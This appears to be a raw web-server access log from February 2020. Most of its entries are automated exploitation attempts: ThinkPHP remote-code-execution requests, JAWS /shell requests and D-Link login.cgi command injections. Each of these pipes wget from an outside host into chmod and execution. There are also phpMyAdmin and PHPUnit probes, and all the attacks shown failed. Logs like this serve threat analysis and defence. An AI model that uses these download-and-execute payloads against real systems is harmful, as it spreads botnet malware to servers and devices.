185.42.195.86 - - [06/Feb/2020:00:56:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.202.65.235 - - [06/Feb/2020:00:58:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.54.7 - - [06/Feb/2020:00:59:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.232.151.38 - - [06/Feb/2020:01:00:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.42.184.118 - - [06/Feb/2020:01:01:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
181.12.21.178 - - [06/Feb/2020:01:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
1.55.73.26 - - [06/Feb/2020:01:04:07 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
170.231.54.73 - - [06/Feb/2020:01:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.119.88.55 - - [06/Feb/2020:01:07:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.43.169.182 - - [06/Feb/2020:01:07:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
188.16.148.204 - - [06/Feb/2020:01:09:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.130.211.206 - - [06/Feb/2020:01:10:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.55.23.169 - - [06/Feb/2020:01:12:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.89.229.158 - - [06/Feb/2020:01:14:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [06/Feb/2020:01:14:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [06/Feb/2020:01:14:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
124.47.8.10 - - [06/Feb/2020:01:17:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.48.105.210 - - [06/Feb/2020:01:18:16 +0100] "envi" 501 319 "-" "-"
182.48.105.210 - - [06/Feb/2020:01:18:18 +0100] "stats" 501 320 "-" "-"
182.48.99.219 - - [06/Feb/2020:01:18:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
51.89.229.158 - - [06/Feb/2020:01:18:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
217.60.230.234 - - [06/Feb/2020:01:20:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
155.186.86.154 - - [06/Feb/2020:01:20:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.111.214.210 - - [06/Feb/2020:01:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
171.61.153.174 - - [06/Feb/2020:01:20:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.118.70.92 - - [06/Feb/2020:01:22:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.60.246 - - [06/Feb/2020:01:24:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.89.229.158 - - [06/Feb/2020:01:25:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [06/Feb/2020:01:26:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [06/Feb/2020:01:26:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
51.89.229.158 - - [06/Feb/2020:01:26:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.117.24.37 - - [06/Feb/2020:01:30:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.20 - - [06/Feb/2020:01:30:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.91.84.147 - - [06/Feb/2020:01:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
175.143.86.54 - - [06/Feb/2020:01:33:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.113.229.55 - - [06/Feb/2020:01:36:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.207.195.52 - - [06/Feb/2020:01:37:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.64.66 - - [06/Feb/2020:01:39:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.186.20.93 - - [06/Feb/2020:01:40:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
86.108.2.232 - - [06/Feb/2020:01:40:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.34.241.86 - - [06/Feb/2020:01:41:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
159.203.42.143 - - [06/Feb/2020:01:41:47 +0100] "GET / HTTP/1.1" 200 1229 "212.91.246.87" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
149.129.130.66 - - [06/Feb/2020:01:47:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
116.111.96.156 - - [06/Feb/2020:01:47:58 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
169.197.108.6 - - [06/Feb/2020:01:48:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
52.65.255.138 - - [06/Feb/2020:01:50:15 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
148.71.44.68 - - [06/Feb/2020:01:51:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.62.171 - - [06/Feb/2020:01:53:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.14.165 - - [06/Feb/2020:01:53:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.17.99.23 - - [06/Feb/2020:01:55:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.6.58.149 - - [06/Feb/2020:01:55:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.76.42.78 - - [06/Feb/2020:01:58:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.3.131.29 - - [06/Feb/2020:01:58:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
121.170.153.133 - - [06/Feb/2020:01:59:43 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
47.254.149.92 - - [06/Feb/2020:01:59:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.91.81.12 - - [06/Feb/2020:02:00:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.119.88.55 - - [06/Feb/2020:02:02:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.170.247.152 - - [06/Feb/2020:02:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.73.124.152 - - [06/Feb/2020:02:06:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.73.124.152 - - [06/Feb/2020:02:06:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
59.7.155.141 - - [06/Feb/2020:02:07:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [06/Feb/2020:02:07:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [06/Feb/2020:02:07:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [06/Feb/2020:02:08:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.186.137.112 - - [06/Feb/2020:02:09:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
121.23.141.60 - - [06/Feb/2020:02:13:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
169.197.108.42 - - [06/Feb/2020:02:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
66.249.69.10 - - [06/Feb/2020:02:15:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
42.112.13.189 - - [06/Feb/2020:02:17:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.184.101 - - [06/Feb/2020:02:18:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.130.225 - - [06/Feb/2020:02:20:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.239.214.15 - - [06/Feb/2020:02:21:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
118.71.4.49 - - [06/Feb/2020:02:24:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [06/Feb/2020:02:26:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
79.117.93.23 - - [06/Feb/2020:02:30:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.117.93.23 - - [06/Feb/2020:02:31:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.117.93.23 - - [06/Feb/2020:02:32:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
41.230.74.31 - - [06/Feb/2020:02:32:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.117.93.23 - - [06/Feb/2020:02:33:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.117.93.23 - - [06/Feb/2020:02:36:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.117.93.23 - - [06/Feb/2020:02:36:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.117.93.23 - - [06/Feb/2020:02:36:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
79.117.93.23 - - [06/Feb/2020:02:37:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
177.86.125.52 - - [06/Feb/2020:02:38:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.112.137.7 - - [06/Feb/2020:02:39:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.117.93.23 - - [06/Feb/2020:02:40:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.112.162.255 - - [06/Feb/2020:02:41:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.117.93.23 - - [06/Feb/2020:02:42:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.251.151.209 - - [06/Feb/2020:02:44:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
116.104.89.112 - - [06/Feb/2020:02:44:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.64.66 - - [06/Feb/2020:02:48:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.73.34.143 - - [06/Feb/2020:02:53:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
217.85.163.10 - - [06/Feb/2020:02:53:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
1.53.124.127 - - [06/Feb/2020:02:54:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.211.25.157 - - [06/Feb/2020:02:55:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.170.162 - - [06/Feb/2020:02:55:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
14.203.76.225 - - [06/Feb/2020:02:55:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
2.184.165.235 - - [06/Feb/2020:02:57:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.184.165.235 - - [06/Feb/2020:02:57:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
167.71.76.94 - - [06/Feb/2020:02:59:26 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
167.71.76.94 - - [06/Feb/2020:02:59:26 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
167.71.76.94 - - [06/Feb/2020:02:59:26 +0100] "GET /phpmyadmin/scripts/setup.php/index.php HTTP/1.1" 404 343 "-" "ZmEu"
167.71.76.94 - - [06/Feb/2020:02:59:26 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "ZmEu"
167.71.76.94 - - [06/Feb/2020:02:59:26 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
167.71.76.94 - - [06/Feb/2020:02:59:26 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "ZmEu"
167.71.76.94 - - [06/Feb/2020:02:59:26 +0100] "GET  HTTP/1.1" 400 329 "-" "-"
42.113.210.145 - - [06/Feb/2020:02:59:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.207.195.52 - - [06/Feb/2020:03:01:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.33.112.155 - - [06/Feb/2020:03:02:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.151.83 - - [06/Feb/2020:03:02:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.39 - - [06/Feb/2020:03:06:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [06/Feb/2020:03:06:58 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
118.71.4.49 - - [06/Feb/2020:03:10:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.60.239.120 - - [06/Feb/2020:03:11:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
